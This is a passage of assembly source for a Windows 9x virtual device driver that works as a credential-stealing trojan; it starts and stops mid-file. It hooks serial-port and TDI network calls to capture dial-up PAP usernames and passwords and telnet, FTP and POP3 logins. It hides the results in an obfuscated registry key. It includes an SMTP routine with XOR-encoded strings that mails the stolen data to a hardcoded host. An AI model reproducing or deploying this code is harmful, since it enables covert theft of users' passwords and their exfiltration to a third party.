    ; And don't forget to visit the cool guys at http://www.phreedom.org/       ;
    ;---------------------------------------------------------------------------;

    .386p

    ;---------------------------------------------------------------------------;
    ; Includes                                                                  ;
    ;---------------------------------------------------------------------------;

    INCLUDE VMM.INC
    INCLUDE VCOMM.INC
    INCLUDE VMMREG.INC

    ;INCLUDE DEBUG.INC               ; Temporary

    VTDI_Device_ID    equ 0488h

    INCLUDE VTDI.INC

    ;---------------------------------------------------------------------------;
    ; Some constants                                                            ;
    ;---------------------------------------------------------------------------;

    MAX_BUFFER_LENGTH   equ 1500
    MAIL_BUFFER_LENGTH equ 10000

    IP_1            equ 192         ; 192.168.0.3:25
    IP_2            equ 168
    IP_3            equ 0
    IP_4            equ 3
    PORT            equ 25

    CHROME_Init_Order equ 0C000h + VNETBIOS_Init_Order

    ;---------------------------------------------------------------------------;
    ; EBIOS_DDB                                                                 ;
    ;---------------------------------------------------------------------------;

    Declare_Virtual_Device EBIOS, 1, 0, Control_Proc, EBIOS_Device_ID, CHROME_Init_Order, , ,

    ;---------------------------------------------------------------------------;
    ; Locked Data Segment                                                       ;
    ;---------------------------------------------------------------------------;

    VxD_LOCKED_DATA_SEG

    ; ASCII data (xored)

    ASCIIStart              equ $

    OurKey                  db 98,75,88,78,93,75,88,79,118,110,79,89,73,88,67,90,94,67,69,68,118
                            db 121,83,89,94,79,71,118,122,79,88,67,90,66,79,88,75,70,105,69,71,90
                            db 69,68,79,68,94,99,68,94,79,88,73,69,68,68,79,73,94,42
    ;                          'Hardware\Description\System\PeripheralComponentInterconnect', 0
    CurrentVersionSubKey    db 121,69,76,94,93,75,88,79,118,103,67,73,88,69,89,69,76,94,118,125,67
                            db 68,78,69,93,89,118,105,95,88,88,79,68,94,124,79,88,89,67,69,68,42
    ;                          'Software\Microsoft\Windows\CurrentVersion', 0
    sRegisteredOwner        db 120,79,77,67,89,94,79,88,79,78,101,93,68,79,88,42
    ;                          'RegisteredOwner', 0
    sRegisteredOrganization db 120,79,77,67,89,94,79,88,79,78,101,88,77,75,68,67,80,75,94,67,69,68,42
    ;                          'RegisteredOrganization', 0
    sVersionNumber          db 124,79,88,89,67,69,68,100,95,71,72,79,88,42
    ;                          'VersionNumber', 0
    sSystemRoot             db 121,83,89,94,79,71,120,69,69,94,42
    ;                          'SystemRoot', 0
    TCPName                 db 103,121,126,105
    Letter_P                db 122
    Zero                    db 42
    ;                          'MSTCP', 0
    MailData_1              db 98,111,102,101,10,70,69,73,75,70,66,69,89,94,39,32
    ;                          'HELO localhost', 13, 10
                            db 103,107,99,102,10,108,120,101,103,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
    ;                          'MAIL FROM:<xxx@xxx.com>', 13, 10
                            db 120,105,122,126,10,126,101,16,22,82,82,82,106,82,82,82,4,73,69,71,20,39,32
    ;                          'RCPT TO:<xxx@xxx.com>', 13, 10
                            db 110,107,126,107,39,32
    ;                          'DATA', 13, 10
                            db 121,95,72,64,79,73,94,16,10
    ;                          'Subject: '

    cbMailData_1            equ $-MailData_1

    MailData_2              db 39,32
    ;                          13, 10
                            db 4,39,32
    ;                          '.', 13, 10
                            db 123,127,99,126,39,32,42
    ;                          'QUIT', 13, 10, 0

    cbMailData_2            equ $-MailData_2

    ASCIILength             equ $-ASCIIStart

    ; This is for the hooks

    pOpenComm_PrevHook      dd 0    ; Addresses of previous service handlers
    pWriteComm_PrevHook     dd 0
    pCloseComm_PrevHook     dd 0

    TdiConnect_PrevAddr     dd 0
    TdiSend_PrevAddr        dd 0
    TdiDisconnect_PrevAddr  dd 0
    TdiCloseConnection_PrevAddr dd 0

    ; Flags

    Disable                 db 0

    TraceType               db 0 ; 0 - nothing, 1 - modem, 2 - telnet, 3 - ftp,
                                 ; 4 - pop3
    TracedHandle            dd 0
    LogProc                 dd 0 ; Address of log processing proc

    TraceLetters            equ $  ; Table with letters for each different
    NOTHING                 db 'N' ; type of trace. Indexed with TraceType
    MODEM                   db 'M'
    TELNET                  db 'T'
    FTP                     db 'F'
    POP3                    db 'P'

    IP                      dd 0
    ValueName               dd 0

    pBuffer                 dd 0
    BufferSize              dd 0
    Index                   dd 0

    MailPointer             dd 0

    hOurKey                 dd 0
    OurSubKey               db "0", 0
    hOurSubKey              dd 0

    OldCallback             dd 0

    dwTemp_1                dd 0
    dwTemp_2                dd 0

    TdiDispatchTable        dd 0

    AddressHandle           dd 0
    ConnectionContext       dd 0

    Request                 dd 0            ; TDI_REQUEST structure
    RequestNotifyObject     dd offset32 TdiMail_Callback
    RequestContext          dd 0
    TdiStatus               dd 0

    TdiAddressOption        db 1            ; TDI_ADDRESS_OPTION_REUSE
                            db 0            ; TDI_OPTION_EOL

    TransportAddress        dd 1            ; TAAddressCount

                            dw 14           ; Address length
                            dw 2            ; Address type - TDI_ADDRESS_IP

                            dw 0            ; sinport
                            dd 0            ; sin_addr (0.0.0.0)
                            dd 0            ; sin_zero
                            dd 0

    Context                 dd 0            ; Context for TdiOpenConnection

    RequestAddr             dd 0            ; UserDataLength
                            dd 0            ; UserData
                            dd 0            ; OptionsLength
                            dd 0            ; Options
                            dd 22           ; RemoteAddressLength
                            dd offset32 RemoteAddress ; *RemoteAddress

    RemoteAddress           dd 1            ; TAddressCount

                            dw 14           ; Address length
                            dw 2            ; Address type - TDI_ADDRESS_IP

                            db 0            ; sinport (fuckin net order!!!)
                            db PORT
                            db IP_1         ; sin_addr (192.168.0.1)
                            db IP_2
                            db IP_3
                            db IP_4
                            dd 0            ; sin_zero
                            dd 0

    NDISBuffer              dd 0            ; Next
    pMailBuffer             dd 0            ; Data address
                            dd 0            ; Pool
    SendDataLength          dd 0            ; Length
                            dd 'FUBN'       ; Signature "NBUF"

    VxD_LOCKED_DATA_ENDS

    ;---------------------------------------------------------------------------;
    ; Locked Code Segment                                                       ;
    ;---------------------------------------------------------------------------;

    VxD_LOCKED_CODE_SEG

    ;---------------------------------------------------------------------------;
    ; _VCOMM_OpenComm hook procedure                                            ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x       x                                        ;
    ; Index                            x                                        ;
    ; pOpenComm_PrevHook       x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;

    BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED

            push ebp
            mov ebp, esp

    ; ebp-04h -> saved eax (from pushad)
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> pPortName
    ; ebp+0Ch -> VMId

            pushad
            pushfd

            cmp Disable, 1                  ; Is hook operation disabled?
            jz OpenComm_Hook_End

            cmp TraceType, 0                ; Is any tracing in progress?
            jne OpenComm_Hook_End           ; if yes - abort

            mov esi, dword ptr [ebp+08h]    ; ds:[esi] = pPortName
            cmp word ptr [esi], "OC"        ; Continue only if port name is "COM"
            jne OpenComm_Hook_End

            push [ebp+0Ch]                  ; Push VMId
            push [ebp+08h]                  ; Push pPortName
            call [pOpenComm_PrevHook]       ; Call the old handler

            add esp, 8h

            mov [ebp-04h], eax              ; blah...

            cmp eax, -31                    ; If there is error opening the port
            jae Dont_Trace_Comm

            mov TracedHandle, eax           ; Save the comm handle we are tracing

            xor eax, eax                    ; Reset the buffer
            mov Index, eax

            inc al                          ; TraceType = 1 (modem trace)
            mov TraceType, al

            mov BufferSize, 1024

            mov LogProc, offset32 ModemLog

    Dont_Trace_Comm:
            popfd
            popad

            pop ebp
            ret                             ; Return to caller

    OpenComm_Hook_End:
            popfd
            popad

            pop ebp

            jmp [pOpenComm_PrevHook]       ; Chain to previous hook

    EndProc OpenComm_Hook

    ;---------------------------------------------------------------------------;
    ; _VCOMM_WriteComm hook procedure                                           ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x                                                ;
    ;                                                                           ;
    ; Calls: Send_Common                                                        ;
    ;---------------------------------------------------------------------------;

    BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED


            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> hPort
    ; ebp+0Ch -> achBuffer
    ; ebp+10h -> cchRequested
    ; ebp+14h -> cchWritten

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

            xor eax, eax

            cmp Disable, al                 ; Is hook operation disabled?
            jnz WriteComm_Hook_End

            cmp TraceType, 1                ; Is this a modem trace?
            jnz WriteComm_Hook_End

    ;---------------------------------------------------------------------------;
    ; The following code is disabled due to the strange behavior of Windows.    ;
    ; It opens COMx and sends AT commands using this connection. But when the   ;
    ; modem connects, it opens another connection, which name varies and uses   ;
    ; it to send PPP traffic. That's why after opening the COMx connection, we  ;
    ; will log EVERY byte sent through EVERY connection, until the COMx is      ;
    ; closed or the log limit is exceeded.                                      ;
    ;                                                                           ;
    ;        mov eax, TracedHandle           ; Are we tracing our connection?   ;
    ;        cmp eax, [ebp+08h]                                                 ;
    ;        jne WriteComm_Hook_End                                             ;
    ;---------------------------------------------------------------------------;

            mov esi, dword ptr [ebp+0Ch]    ; esi = achBuffer (source)

            mov eax, [ebp+10h]              ; eax = cchRequested

            call Send_Common

    WriteComm_Hook_End:
            popad
            popfd

            pop ebp

            jmp [pWriteComm_PrevHook]       ; Chain to previous hook

    EndProc WriteComm_Hook

    ;---------------------------------------------------------------------------;
    ; _VCOMM_CloseComm hook procedure                                           ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;

    BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED

            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> hPort

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

            cmp Disable, 1                  ; Is hook operation disabled?
            jz CloseComm_Hook_End

            cmp TraceType, 1                ; Is this a modem trace?
            jnz CloseComm_Hook_End

            mov eax, TracedHandle           ; If hPort = TracedHandle stop tracing
            cmp eax, [ebp+08h]
            jne CloseComm_Hook_End

            mov TraceType, 0                ; Stop tracing

    CloseComm_Hook_End:
            popad
            popfd
            pop ebp

            jmp [pCloseComm_PrevHook]       ; Chain to previous hook

    EndProc CloseComm_Hook

    ;---------------------------------------------------------------------------;
    ; TdiConnect hook procedure                                                 ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle                     x                                        ;
    ; Index                            x                                        ;
    ; BufferSize                       x                                        ;
    ; IP                               x                                        ;
    ; OldCallback                      x                                        ;
    ;                                                                           ;
    ; Calls: Sendmail, TdiConnect_Callback                                      ;
    ;---------------------------------------------------------------------------;

    BeginProc TdiConnect_Hook

            push ebp
            mov ebp, esp

    ; ebp-04h -> saved eax (from pushad)
    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> *TO
    ; ebp+10h -> *RequestAddr
    ; ebp+14h -> *ReturnAddr

            pushad
            pushfd

            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiConnect_Hook_Jmp

            cmp TraceType, 0                ; Is any tracing in progress?
            jne TdiConnect_Hook_Jmp         ; if yes - abort

            mov edi, [ebp+10h]              ; edi = *RequestAddr
            mov edi, [edi+14h]              ; edi = *RemoteAddr
            cmp word ptr [edi+06h], 2       ; TDI_ADDRESS_TYPE_IP
            jne TdiConnect_Hook_Jmp

            xor eax, eax                    ; Reset the index
            mov Index, eax

            mov ax, [edi+08h]               ; ax = sin_port
            cmp ax, 1500h                   ; ftp?
            je Start_Ftp_log
            cmp ax, 1700h                   ; telnet?
            je Start_Telnet_log
            cmp ax, 6E00h                   ; pop3?
            je Start_Pop3_log

            cmp ax, 5000h                   ; http?
            jne TdiConnect_Hook_Jmp

            call Sendmail
            jmp TdiConnect_Hook_Jmp


    Start_Telnet_log:
            mov TraceType, 2
            mov LogProc, offset32 TelnetLog
            mov BufferSize, 500
            jmp Start_Log

    Start_Ftp_log:
            mov TraceType, 3
            mov LogProc, offset32 FtpLog
            mov BufferSize, 100
            jmp Start_Log

    Start_Pop3_log:
            mov TraceType, 4
            mov LogProc, offset32 Pop3Log
            mov BufferSize, 100

    Start_Log:
            mov ebx, [edi+0Ah]              ; ebx = in_addr
            mov IP, ebx                     ; Save the IP

            mov edi, [ebp+08h]              ; edi = *Request
            mov eax, [edi]                  ; Request.ConnectionContext
            mov TracedHandle, eax

            mov eax, [edi+04h]              ; Save old callback
            mov OldCallback, eax
            mov [edi+04h], offset32 TdiConnect_Callback ; Hook it

            push edi

            push [ebp+14h]
            push [ebp+10h]
            push [ebp+0Ch]
            push [ebp+08h]
            call [TdiConnect_PrevAddr]      ; Chain to previous hook
            add esp, 10h

            mov [ebp-04h], eax              ; Save the return value

            pop edi                         ; edi = *Request
            mov ebx, OldCallback
            mov [edi+04h], ebx              ; Restore old callback

            cmp eax, 0FFh
            je TdiConnect_Hook_End

            or eax, eax
            je TdiConnect_Hook_End

            ; There is some error, don't trace

            mov TraceType, 0

    TdiConnect_Hook_End:
            popfd
            popad

            pop ebp

            ret

    TdiConnect_Hook_Jmp:
            popfd
            popad

            pop ebp

            jmp [TdiConnect_PrevAddr]       ; Chain to previous hook

    EndProc TdiConnect_Hook


    ;---------------------------------------------------------------------------;
    ; TdiConnect_Callback hook procedure                                        ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; TraceType                x       x                                        ;
    ; OldCallback              x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;

    BeginProc TdiConnect_Callback

            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Context
    ; ebp+0Ch -> FinalStatus
    ; ebp+10h -> ByteCount

            pushad
            pushfd

            mov eax, [ebp+0Ch]
            or eax, eax
            je TdiConnect_Callback_End

            mov TraceType, 0

    TdiConnect_Callback_End:
            popfd
            popad

            pop ebp
            jmp [OldCallback]

    EndProc TdiConnect_Callback

    ;---------------------------------------------------------------------------;
    ; TdiSend hook procedure                                                    ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x                                                ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ; Calls: Send_Common                                                        ;
    ;---------------------------------------------------------------------------;

    BeginProc TdiSend_Hook

            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> Flags
    ; ebp+10h -> SendLength
    ; ebp+14h -> *SendBuffer

            pushfd
            pushad

            cmp Disable, 1                  ; Is hook operation disabled?
            je TdiSend_Hook_End

            cmp TraceType, 1                ; Is this a TCP trace?
            jbe TdiSend_Hook_End

            mov edi, [ebp+08h]              ; edi = *Request
            mov eax, TracedHandle
            cmp eax, [edi]                  ; Are we tracing THIS ConnectionContext?
            jne TdiSend_Hook_End

            mov edi, [ebp+14h]              ; edi = *SendBuffer
            mov esi, [edi+04h]              ; esi = source buffer

            mov eax, [edi+0Ch]              ; eax = Length

            call Send_Common

    TdiSend_Hook_End:
            popad
            popfd

            pop ebp

            jmp [TdiSend_PrevAddr]          ; Chain to previous hook

    EndProc TdiSend_Hook

    ;---------------------------------------------------------------------------;
    ; TdiDisconnect hook procedure                                              ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;

    BeginProc TdiDisconnect_Hook

            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request
    ; ebp+0Ch -> *TO
    ; ebp+10h -> Flags
    ; ebp+14h -> *DisConnInfo
    ; ebp+18h -> *ReturnInfo

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiDisconnect_Hook_End

            cmp TraceType, 1                ; Is this a TCP trace?
            jbe TdiDisconnect_Hook_End

            mov eax, TracedHandle           ; If the traced handle is being closed
            mov edi, [ebp+08h]              ; edi = *Request
            cmp eax, [edi]                  ; [edi] = ConnectionContext
            jne TdiDisconnect_Hook_End

    ; We are disconnected before the buffer is full. We will reset the BufferSize
    ; to the current and process the buffer anyway.

            mov eax, Index
            mov BufferSize, eax
            xor eax, eax
            call Send_Common

    ; Don't need to stop tracing, because Send_Common should do this.

    TdiDisconnect_Hook_End:
            popad
            popfd
            pop ebp

            jmp [TdiDisconnect_PrevAddr]    ; Chain to previous hook

    EndProc TdiDisconnect_Hook

    ;---------------------------------------------------------------------------;
    ; TdiCloseConnection hook procedure                                         ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; Disable                  x                                                ;
    ; TraceType                x       x                                        ;
    ; TracedHandle             x                                                ;
    ;                                                                           ;
    ;---------------------------------------------------------------------------;

    BeginProc TdiCloseConnection_Hook

            push ebp
            mov ebp, esp

    ; ebp+00h -> saved ebp
    ; ebp+04h -> return address
    ; ebp+08h -> *Request

            pushfd                          ; save flags on stack
            pushad                          ; save registers on stack

            cmp Disable, 1                  ; Is hook operation disabled?
            jz TdiCloseConnection_Hook_End

            cmp TraceType, 1                ; Is this an IP trace?
            jbe TdiCloseConnection_Hook_End

            mov eax, TracedHandle           ; If the traced handle is being closed
            mov edi, [ebp+08h]              ; edi = *Request
            cmp eax, [edi]                  ; [edi] = ConnectionContext
            jne TdiCloseConnection_Hook_End

    ; We are disconnected before the buffer is full. We will reset the BufferSize
    ; to the current and process the buffer anyway.

            mov eax, Index
            mov BufferSize, eax
            xor eax, eax
            call Send_Common

    ; Don't need to stop tracing, because Send_Common should do this.

    TdiCloseConnection_Hook_End:
            popad
            popfd
            pop ebp

            jmp [TdiCloseConnection_PrevAddr]    ; Chain to previous hook

    EndProc TdiCloseConnection_Hook


    ;---------------------------------------------------------------------------;
    ; Send_Common procedure                                                     ;
    ;---------------------------------------------------------------------------;
    ; Input:                                                                    ;
    ;                                                                           ;
    ; eax - length of data                                                      ;
    ; esi - data source                                                         ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; BufferSize               x                                                ;
    ; Index                    x        x                                       ;
    ; pBuffer                  x                                                ;
    ; ValueName                         x                                       ;
    ; dwTemp_1                          x                                       ;
    ; hOurKey                  x                                                ;
    ; TraceType                         x                                       ;
    ;                                                                           ;
    ; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log                               ;
    ;---------------------------------------------------------------------------;

    BeginProc Send_Common

            mov ecx, BufferSize
            mov ebx, Index                  ; ebx = Index
            sub ecx, ebx                    ; ecx = free space in buffer

            mov edi, pBuffer                ; edi = pBuffer+Index (destination)
            add edi, Index

            cmp ecx, eax
            jbe Do_Copy_Buffer              ; If the space in the buffer is not
                                            ; enough, don't overrun it

            mov ecx, eax                    ; Else, copy cchRequested bytes

    Do_Copy_Buffer:
            add ebx, ecx                    ; Increment the Index
            mov Index, ebx

            rep movsb                       ; Copy it in the buffer

            mov ecx, BufferSize
            jz Send_Common_Abort            ; Stop tracing
            cmp ebx, ecx                    ; If Index < BufferSize end operation
            jb Send_Common_End

    ; The buffer is full, precess the log and probably save it in the registry

            mov byte ptr [edi], 0           ; Null-terminate the log

            inc edi                         ; Buffer for the value name
            push edi                        ; We need to save this, because
                                            ; we will store two bytes in front
                                            ; of the string, returned by LogProc

            xor ebx, ebx
            mov bl, TraceType
            mov esi, TraceLetters
            mov al, byte ptr [esi+ebx]
            mov byte ptr [edi], al          ; Store a trace identifier
            inc edi

            mov byte ptr [edi], 20h         ; Store a space
            inc edi

            mov ValueName, edi

            call LogProc                    ; Process the log

            ; At this point ALL registers are fucked up, except eax

            pop ValueName

            test eax, eax                   ; Is there an error (eax=1)?
            jnz Send_Common_Abort

    Get_Reg_Value:
            ; Try to get the value with the same name

            xor ebx, ebx
            mov dwTemp_1, ebx
            push offset32 dwTemp_1          ; cbData
            push ebx                        ; lpszData
            push ebx                        ; fdwType
            push ebx                        ; dwReserved
            push ValueName                  ; lpszValueName
            push hOurKey                    ; phKey

            VMMCall _RegQueryValueEx        ; Get the value of the key
            add esp, 18h

            cmp eax, ERROR_FILE_NOT_FOUND   ; If key exists
            jne Send_Common_Abort

            ; Save the result in the registry

            push BufferSize                 ; cbData
            push pBuffer                    ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; dwReserved
            push ValueName                  ; lpszValueName
            push hOurKey                    ; phKey

            VMMCall _RegSetValueEx          ; Set the value of the key
            add esp, 18h

    ; Store 'P' as the default value - flag that there is something to email

            push 1                          ; cbData
            push offset32 Letter_P          ; lpszData
            push REG_SZ                     ; fdwType
            push 0                          ; lpSubKey
            push hOurKey

            VMMCall _RegSetValue
            add esp, 14h

    Send_Common_Abort:
            mov TraceType, 0

    Send_Common_End:
            ret

    EndProc Send_Common

    ;---------------------------------------------------------------------------;
    ; ModemLog procedure                                                        ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;---------------------------------------------------------------------------;

    BeginProc ModemLog

    ; Try to find the dialed number and copy it as ValueName

            mov edi, pBuffer                ; Source

            xor ecx, ecx

    FindATD_Loop:
            cmp word ptr [edi], "TA"        ; Search for ATD
            jne NotATD
            cmp byte ptr [edi+2], "D"
            jne NotATD

            add edi, 3
            jmp ATDFound

    NotATD:
            inc edi
            inc ecx
            cmp ecx, BufferSize
            jae ModemLog_Abort              ; ATD not found in the buffer - abort
            jmp FindATD_Loop

    ATDFound:
            mov edx, edi                    ; edx = beginning of phone number
            mov esi, edi
            sub ecx, BufferSize
            neg ecx                         ; ecx = size of the rest of buffer
            mov ebx, ecx

            mov al, 0Dh                     ; Search for <CR>
            repne scasb
            jnz ModemLog_Abort              ; <CR> not found after ATD command

            sub edi, edx
            mov ecx, edi                    ; ecx = phone number length

            sub ebx, ecx                    ; ebx = size of the rest of buffer

            mov esi, edx                    ; beginning of phone number
            mov edi, ValueName
            rep movsb                       ; Store the phone number as value name

            mov edx, edi                    ; edx = end of phone number

            cmp byte ptr [esi], '~'         ; Is PPP directly started (PAP auth)?
            jne Tilda_Loop

            ; It's PAP

    PAP_Loop:
            cmp dword ptr [esi], 0123C07Eh  ; Is it PAP packet?
            je PAP_Found

            inc esi
            dec ebx
            jnz PAP_Loop

            jmp ModemLog_Abort              ; This shouldn't happen, but anyway...
                                            ; (either no auth or CHAP)

    PAP_Found:

    ; The PAP packet has the follwing structure:
    ;
    ; | 7E | C0 23 | 01 | xx | xx xx |  ULen  | U S E R |  PLen  | P A S S |
    ; |    |       |    |    |       |        |         |        |         |
    ; |PPP |  PAP  |code| id |length |user len|username |pass len|password |
    ;

            add esi, 7                      ; Point to the Username length field
            xor ecx, ecx
            mov cl, byte ptr [esi]          ; Username length
            inc esi
            rep movsb                       ; Copy username

            mov ax, 0A0Dh                   ; Save a <CR> between username & pass
            stosw

            mov cl, byte ptr [esi]          ; Password length
            inc esi
            rep movsb                       ; Copy password

            jmp ModemLog_Final

    Tilda_Loop:
            movsb                           ; Copy until ~ found (until PPP start)

            dec ebx
            jz Tilda_Not_Found

            cmp byte ptr [esi], '~'
            jne Tilda_Loop

    ModemLog_Final:
            xor eax, eax
            stosb                           ; Null terminate the value name
            ret

    Tilda_Not_Found:
            mov byte ptr [edx], 0           ; Null terminate after the phone num
            ret

    ModemLog_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret

    EndProc ModemLog

    ;---------------------------------------------------------------------------;
    ; TelnetLog procedure                                                       ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: DWord2Str                                                          ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;

    BeginProc TelnetLog

            ; Convert the IP to string and store it as value name

            mov ebx, IP
            mov edi, ValueName

            call DWordToStr                 ; Save the IP as the value name

            mov ax, 0A0Dh                   ; Save a <CR><LF>
            stosw

            mov esi, edi                    ; esi = address to write

            mov edi, pBuffer
            mov ecx, BufferSize
            mov ebx, ecx

            repne scasb                     ; Search for <CR>
            jne CR_Sequence_NotFound

            repne scasb                     ; Search for second <CR>
            jne CR_Sequence_NotFound

            std                             ; Decrement esi & edi

            sub ebx, ecx                    ; ebx - size to the beginning of buffer
            mov ecx, ebx

            inc ecx                         ; See the note bellow
            inc ecx

            xor al, al
            repne scasb

    ; If NULL is found, edi points to the byte before it and we need to do
    ; inc edi twice. Else, edi would point to the first char in the buffer
    ; and we don't need to inc it.
    ; That's why we have done 'inc ecx' twice a couple of lines before.
    ; This way, if NULL is not found, edi points to the first-2 char
    ; and we can (and must) do inc edi two times.

            inc edi
            inc edi

            ; Actually it doesn't matter if NULL is found. Just copy the rest.

            cld                             ; Increment esi & edi

            sub ebx, ecx                    ; ebx - size of username/pass string
            mov ecx, ebx

            xor esi, edi                    ; Swap esi & edi (Preslav Nakow rulez)
            xor edi, esi
            xor esi, edi

            rep movsb                       ; Copy the user/pass to value name

            xor eax, eax
            stosb                           ; Null terminate the value name

            mov edi, pBuffer
            mov ecx, BufferSize

    Null_Loop:
            repnz scasb
            jnz End_Null_Loop

            mov byte ptr [edi-1], '.'
            or ecx, ecx
            jz End_Null_Loop
            jmp Null_Loop

    End_Null_Loop:

            ret

    CR_Sequence_NotFound:
            mov byte ptr [esi], 0           ; Null terminate after the IP
            ret

    EndProc TelnetLog

    ;---------------------------------------------------------------------------;
    ; FtpLog procedure                                                          ;
    ;---------------------------------------------------------------------------;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: Pop3Log, DWord2Str                                                 ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;

    BeginProc FtpLog

            call Pop3Log                    ; Process exactly like pop3
            test eax, eax
            jnz FtpLog_End

            mov edi, ValueName
            add edi, 10                     ; edi points to the username+1

            cmp dword ptr [edi+4], 'suom'   ; Is the username 'anonymous'?
            jne FtpLog_End
            cmp dword ptr [edi], 'ynon'
            jne FtpLog_End

    FtpLog_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret

    FtpLog_End:
            ret                             ; eax is set and the value name is
                                            ; already null-terminated

    EndProc FtpLog

    ;---------------------------------------------------------------------------;
    ; Pop3Log procedure                                                         ;
    ;---------------------------------------------------------------------------;
    ; Used variables         Read    Write                                      ;
    ;                                                                           ;
    ; pBuffer                  x                                                ;
    ; BufferSize               x                                                ;
    ; ValueName                x                                                ;
    ;                                                                           ;
    ; Calls: DWord2Str                                                          ;
    ; Returns: eax = 0 - ok, 1 = error                                          ;
    ;                                                                           ;
    ; Notes: Fucks off all registers, except EAX                                ;
    ;---------------------------------------------------------------------------;

    BeginProc Pop3Log

            ; Convert the IP to string and store it as value name

            mov ebx, IP
            mov edi, ValueName

            call DWordToStr                 ; Save the IP as the value name

            mov ax, 0A0Dh                   ; Save a <CR><LF>
            stosw

            mov esi, pBuffer
            mov ecx, BufferSize
            mov ebx, ecx

            mov eax, 'RESU'                 ; Search for USER

    USER_or_PASS_Loop:
            cmp dword ptr [esi], eax        ; Search for USER or PASS (in eax)
            je USER_or_PASS_Copy_Loop_Start

            inc esi
            dec ecx
            jz Pop3Log_Abort
            jmp USER_or_PASS_Loop

    USER_or_PASS_Copy_Loop_Start:
            add esi, 5                      ; Skip 'USER' and 'PASS'

    USER_or_PASS_Copy_Loop:
            cmp byte ptr [esi], 0Dh         ; Is <CR> here?
            jne Copy_USER_or_PASS

            cmp al, 'P'                     ; Is this a PASS copy?
            je Pop3Log_End                  ; Work done, finish log processing

            mov ax, 0A0Dh                   ; Save a <CR> between username & pass
            stosw

            mov eax, 'SSAP'
            jmp USER_or_PASS_Loop

    Copy_USER_or_PASS:
            movsb
            dec ecx
            jz Pop3Log_Abort
            jmp USER_or_PASS_Copy_Loop

    Pop3Log_Abort:
            xor eax, eax                    ; eax = 1 (error)
            inc eax
            ret

    Pop3Log_End:
            xor eax, eax
            stosb                           ; Null-terminate
            ret

    EndProc Pop3Log

    ;---------------------------------------------------------------------------;
    ; DWordToStr procedure - input ebx, edi                                     ;
    ;---------------------------------------------------------------------------;
    ;                                                                           ;
    ; Input: ebx - dword                                                        ;
    ;        edi - lpstr                                                        ;
    ;                                                                           ;
